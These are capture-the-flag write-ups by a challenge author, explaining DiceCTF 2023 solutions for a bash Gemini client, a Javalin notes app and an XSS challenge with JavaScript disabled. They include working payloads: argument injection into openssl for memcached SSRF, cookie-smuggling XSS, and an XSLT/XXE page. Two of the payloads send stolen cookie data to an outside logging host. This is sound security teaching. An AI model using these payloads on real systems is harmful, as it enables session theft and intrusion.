DiceCTF 2023 writeups

I wrote 3 challenges for DiceCTF 2023, here are writeups going over their intended solutions


geminiblog

misc, 3 solves

Overview

geminiblog consists a client and server for the Gemini protocol, written entirely in bash.

When we connect to the challenge, we are connected to the client and are able to issue requests to arbitrary gemini:// URLs.

The server runs on the same host as the client, listening on 127.0.0.1:1965. It is a small application to write and read blog posts, which are stored in a memcached instance on the same host (:11211). The 3 endpoints are:

  • / - a hello world message
  • /post - create a blog post, returns post ID (inserts random post ID into memcached)
  • /post?$id - view a blog post with given ID (fetch from memcached)

The flag for the challenge is stored in the memcached instance, as the key flag

bug 1: bash argument injection

in client.sh:8-10, there's a bash argument injection bug due to $host:$port not being quoted

    RESP=$(
      echo "$parsed_url" | timeout 5s openssl s_client -quiet -connect $host:$port 2>/dev/null
    )
client.sh:8-10 - arg injection bug

This allows us to inject arbitrary arguments to the openssl s_client command

bug 2: IFS not restored

in lib.sh:28-35, the IFS variable is changed to parse the URL querystring, but is never restored to its original value

  # parse query string
  IFS='=&'
  local parm=($query)
  declare -gA query_params
  for ((i=0; i<${#parm[@]}; i+=2))
  do
      query_params[${parm[i]}]=${parm[i+1]}
  done
lib.sh:28-35 - IFS bug

Because it's never restored, when doing argument expansion in bug 1, =& will be used to split arguments in $host rather than the default IFS.

memcached ssrf & openssl s_client arguments

Now, it should be relatively clear that the goal is to find arguments to openssl s_client that allow us to send commands to memcached and exfiltrate the flag.

We have 2 problems:

1. exfiltration

we need to be able to read the memcached output somehow. stderr is discarded and anything that isn't a valid TLS response is suppressed by the -quiet flag

solution: -debug flag outputs a full dump of raw bytes sent and received to stdout!

2. sending plaintext data

s_client establishes a TLS connection, but we need to send plaintext data and linefeeds to issue memcached commands... so how can we?

solution: SNI injection via -servername argument! the SNI field of a TLS Client Hello message contains the requested host in plaintext, and we can change this via the -servername argument

But... we have another problem, although we can set -servername to a string we control, we don't have a way to inject linefeeds into it. So, how do we send valid memcached commands? The memcached protocol dictates that each command should be separated by a CRLF (\r\n).

  • Turns out, the bytes immediately following the SNI value are null bytes, and when memcached sees a null byte, it will stop reading the command😅 so we luck out there
  • To get the command to start on a newline, we simply make it 10 length, because the bytes immediately preceding it is the length field of the servername. We can do this by padding it with spaces (memcached will strip them)
  • Our servername simply becomes:  "get flag "

Putting it all together, our final payload is

gemini://blah=-servername=get flag  =-debug=-connect=127.0.0.1:11211
final payload URL


jnotes

web, 6 solves

Overview

jnotes is a very simple webapp, it's written in Java using the Javalin web framework. There are endpoints to render the note (/) and edit the note (/create), and the note is stored in a note cookie on the browser.

There's also an adminbot, which has the flag set in an HttpOnlyFLAG cookie for the challenge domain, and will visit any URL you send it.

The relevant source code is below:

public class App {
    public static String DEFAULT_NOTE = "Hello world!\r\nThis is a simple note-taking app.";

    public static String getNote(Context ctx) {
        var note = ctx.cookie("note");
        if (note == null) {
            setNote(ctx, DEFAULT_NOTE);
            return DEFAULT_NOTE;
        }
        return URLDecoder.decode(note, StandardCharsets.UTF_8);
    }

    public static void setNote(Context ctx, String note) {
        note = URLEncoder.encode(note, StandardCharsets.UTF_8);
        ctx.cookie(new Cookie("note", note, "/", -1, false, 0, true));
    }

    public static void main(String[] args) {
        var app = Javalin.create();

        app.get("/", ctx -> {
            var note = getNote(ctx);
            ctx.html("""
                    <html>
                    <head></head>
                    <body>
                    <h1>jnotes</h1>

                    <form method="post" action="create">
                    <textarea rows="20" cols="50" name="note">
                    %s
                    </textarea>
                    <br>
                    <button type="submit">Save notes</button>
                    </form>

                    <hr style="margin-top: 10em">
                    <footer>
                    <i>see something unusual on our site? report it <a href="https://adminbot.mc.ax/web-jnotes">here</a></i>
                    </footer>
                    </body>
                    </html>""".formatted(note));
        });

        app.post("/create", ctx -> {
            var note = ctx.formParam("note");
            setNote(ctx, note);
            ctx.redirect("/");
        });

        app.start(1337);
    }
}
App.java

XSS is straightforward, as note HTML isn't escaped. CSRF is straightforward as well, and we can POST to the /create endpoint from a crossorigin site easily.

However, in a standard setting, this challenge is still impossible, because the FLAG cookie is HttpOnly and should be inaccessible by JavaScript in the browser, we have no way to read it!

Solution

The idea behind the challenge is to find and utilize a parsing bug in the Jetty webserver, which is what Javalin uses by default. Looking at Jetty's cookie parsing code, it's clear that it's more convoluted than it needs to be, using a weird state machine to parse cookies.

jetty.project/CookieCutter.java at 016de2faebdd9ac90f00df9ac4bc7c74193e68e6 · eclipse/jetty.project
Eclipse Jetty® - Web Container &amp; Clients - supports HTTP/2, HTTP/1.1, HTTP/1.0, websocket, servlets, and more - jetty.project/CookieCutter.java at 016de2faebdd9ac90f00df9ac4bc7c74193e68e6 · ecl...

It turns out, that if Jetty reads a cookie value starting with an open quote, it will continue reading the cookie string until it reaches an end quote – ignoring semicolons which should separate cookies!

e.g. if we have 3 cookies:

  • note="a
  • FLAG=dice{flag}
  • end=b"

the browser sends the cookie header: note="a; FLAG=dice{flag}; end=b";

but Jetty will parse it as a single cookie: note= a; FLAG=dice{flag}; end=b;

So now – the basic idea to solve: smuggle the FLAG cookie into notes cookie, use XSS to read the rendered contents on the page.

We can use our XSS to tamper with the cookies (setting document.cookie), but the problem is – how do we get the cookies to be in that order?

We need to abuse chrome's cookie ordering behavior to smuggle it correctly

  • chrome orders cookies by longest path length first, then least recently updated first. We can figure this out by reading some chromium source code

So, to get our custom note cookie to appear first, we simply create a new note cookie with the path //

Our javascript payload becomes something like:

document.cookie = `note="a; path=//`; // use double slash path to get it to appear at start (longest path)
document.cookie = `end=ok;"`; // last cookie (most recently updated)
w = window.open('https://jnotes.mc.ax//')
initial js payload

this results in the sent cookiestr being something like:

note="a; note=Hello+world%21; flag=dice{test}; end=b" 
sent cookiestr

and from there, we can read the opened window HTML to get the flag.

Putting it all together, here's the HTML of the page we make the adminbot visit.

<!DOCTYPE html>
<html lang="en">
  <body>
    <form method="POST" action="https://jnotes.mc.ax/create">
      <input id="p" name="note" value="" />
    </form>

    <script>
      document.querySelector("#p").value = `</textarea>
      <\x73cript>
      if (window.location.pathname !== "//") {
        document.cookie = 'note=; Max-Age=-1';
        document.cookie = '=note="uhhh; path=//';
        document.cookie = 'END=ok" ; path=';
        w = window.open('https://jnotes.mc.ax//');
        setTimeout(()=>{
          ex = w.document.body.innerHTML;
          navigator.sendBeacon('https://hc.lc/log2.php', ex);
        }, 500);
      }
      </\x73cript>`;
      document.forms[0].submit();
    </script>
  </body>
</html>
HTML payload

💡
This cookie parsing bug also exists in another Java webserver I looked at – Undertow! I've reported this bug to Jetty and Undertow. Maybe you can find similar issues in other webservers as well?

impossible-xss

web, 0 solves

impossible-xss is another challenge with very brief source code. This challenge actually got 0 solves during the CTF - which, is unsurprising given how esoteric the solution is.

The challenge consists of a simple express.js webserver with two routes.

  • / - gives us XSS via the ?xss query param
  • /flag - returns the FLAG cookie value

The flag is stored in the admin bot's FLAG cookie, which is rendered by the /flag endpoint. So, the goal appears to be to exfiltrate the contents of /flag from the adminbot, presumably using the xss on /. Up until this point, the challenge seems pretty straightforward.

const express = require('express');
const cookieParser = require('cookie-parser');
const app = express();
app.use(cookieParser());

app.get('/', (req, res) => {
    // free xss, how hard could it be?
    res.end(req.query?.xss ?? 'welcome to impossible-xss');
});

app.get('/flag', (req, res) => {
    // flag in admin bot's FLAG cookie
    res.end(req.cookies?.FLAG ?? 'dice{fakeflag}');
});

app.listen(8080);
app.js

However, moving to the code of the adminbot, we see that it uses puppeteer (chrome headless browser) to view the URL you send it, but it calls .setJavascriptEnabled(false) on the page.

const page = await ctx.newPage();
await page.goto('https://impossible-xss.mc.ax', { timeout: 3000, waitUntil: 'domcontentloaded' });

// you wish it was that easy
await page.setCookie({
        "name": "FLAG",
        "value": flag,
        "domain": "impossible-xss.mc.ax",
        "path": "/",
        "httpOnly": true,
        "secure": true,
        "sameSite": "Strict"
});
await page.setJavaScriptEnabled(false);

await page.goto(YOUR_URL, { timeout: 3000, waitUntil: 'domcontentloaded' });
adminbot.js

Now, the challenge suddenly becomes a lot harder - how can we exfiltrate the contents of /flag (or otherwise read the FLAG cookie value) without JavaScript?

Solution

As far as I'm aware, .setJavaScriptEnabled is not bypassable, it propagates into subframes, and I don't think there's any way to open new pages without JS execution. So, we need to find another way to read /flag without JavaScript.

One thing to realize is that the express.js webserver sends our input back with res.end instead of res.send – meaning there's no Content-Type: text/html header on the response. This means chrome will perform content sniffing on the response. Since we can't use JavaScript, what other powerful forms of execution might browsers have?

It turns out XML documents in web browsers support a relatively little known feature known as XSLTExtensible Stylesheet Language Transformations. XSLT is essentially an XML specification for transforming XML documents into other XML documents or HTML.  

XSLT: Extensible Stylesheet Language Transformations | MDN
Extensible Stylesheet Language Transformations (XSLT) is an XML-based language used, in conjunction with specialized processing software, for the transformation of XML documents.

Although XSLT is blocked by client-side security features such as CSP script-src and sandboxing, it is not blocked by Puppeteer's .setJavaScriptEnabled.

If you decided to investigate why the challenge doesn't just use a script-src, you can find a reference to XSLT in MDN's script-src page!

The HTTP Content-Security-Policy (CSP) script-src directive specifies valid sources for JavaScript. This includes not only URLs loaded directly into <script> elements, but also things like inline script event handlers (onclick) and XSLT stylesheets which can trigger script execution.

XSLT allows for some powerful functionality, such as loading other XML documents and other functions to process XML. Because XSLT uses XML, it also allows for XML External Entities (XXE)!

If you have an External Entity referring to an HTTP resource, Chrome will gladly request it and put the contents into the XML entity:

<!DOCTYPE a [<!ENTITY xxe SYSTEM  "https://impossible-xss.mc.ax/flag" >]>
XXE example
💡
Chrome support for XXEs in XSLT seems to be entirely undocumented and not part of any spec, which is always fun! Firefox does not support it. As far as I can tell, XXEs and all other XSLT features must still obey the Same-Origin-Policy (SOP) and other browser security features, so this doesn't seem too useful for many practical attacks.

So, we construct an XML document that uses XSLT. Our XSLT stylesheet contains an XXE that loads the flag, and sends the flag to our server via an HTML element, such as an img src attribute.

xmls = `<?xml version="1.0"?>
<!DOCTYPE a [
   <!ENTITY xxe SYSTEM  "https://impossible-xss.mc.ax/flag" >]>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
  <xsl:template match="/asdf">
    <HTML>
      <HEAD>
        <TITLE></TITLE>
      </HEAD>
      <BODY>
        <img>
          <xsl:attribute name="src">
            https://hc.lc/log2.php?&xxe;
          </xsl:attribute>
        </img>
      </BODY>
    </HTML>
  </xsl:template>
</xsl:stylesheet>`

xml=`<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="data:text/plain;base64,${btoa(xmls)}"?>
<asdf></asdf>`
xss=encodeURIComponent(xml)
generate the payload

Our final payload becomes:

https://impossible-xss.mc.ax/?xss=%3C%3Fxml%20version%3D%221.0%22%3F%3E%0A%3C%3Fxml-stylesheet%20type%3D%22text%2Fxsl%22%20href%3D%22data%3Atext%2Fplain%3Bbase64%2CPD94bWwgdmVyc2lvbj0iMS4wIj8%2BCjwhRE9DVFlQRSBhIFsKICAgPCFFTlRJVFkgeHhlIFNZU1RFTSAgImh0dHBzOi8vaW1wb3NzaWJsZS14c3MubWMuYXgvZmxhZyIgPl0%2BCjx4c2w6c3R5bGVzaGVldCB4bWxuczp4c2w9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvWFNML1RyYW5zZm9ybSIgdmVyc2lvbj0iMS4wIj4KICA8eHNsOnRlbXBsYXRlIG1hdGNoPSIvYXNkZiI%2BCiAgICA8SFRNTD4KICAgICAgPEhFQUQ%2BCiAgICAgICAgPFRJVExFPjwvVElUTEU%2BCiAgICAgIDwvSEVBRD4KICAgICAgPEJPRFk%2BCiAgICAgICAgPGltZz4KICAgICAgICAgIDx4c2w6YXR0cmlidXRlIG5hbWU9InNyYyI%2BCiAgICAgICAgICAgIGh0dHBzOi8vaGMubGMvbG9nMi5waHA%2FJnh4ZTsKICAgICAgICAgIDwveHNsOmF0dHJpYnV0ZT4KICAgICAgICA8L2ltZz4KICAgICAgPC9CT0RZPgogICAgPC9IVE1MPgogIDwveHNsOnRlbXBsYXRlPgo8L3hzbDpzdHlsZXNoZWV0Pg%3D%3D%22%3F%3E%0A%3Casdf%3E%3C%2Fasdf%3E
final URL

and upon submitting it, the flag is sent to our server: dice{XXE_in_th3_br0ws3r_WtF}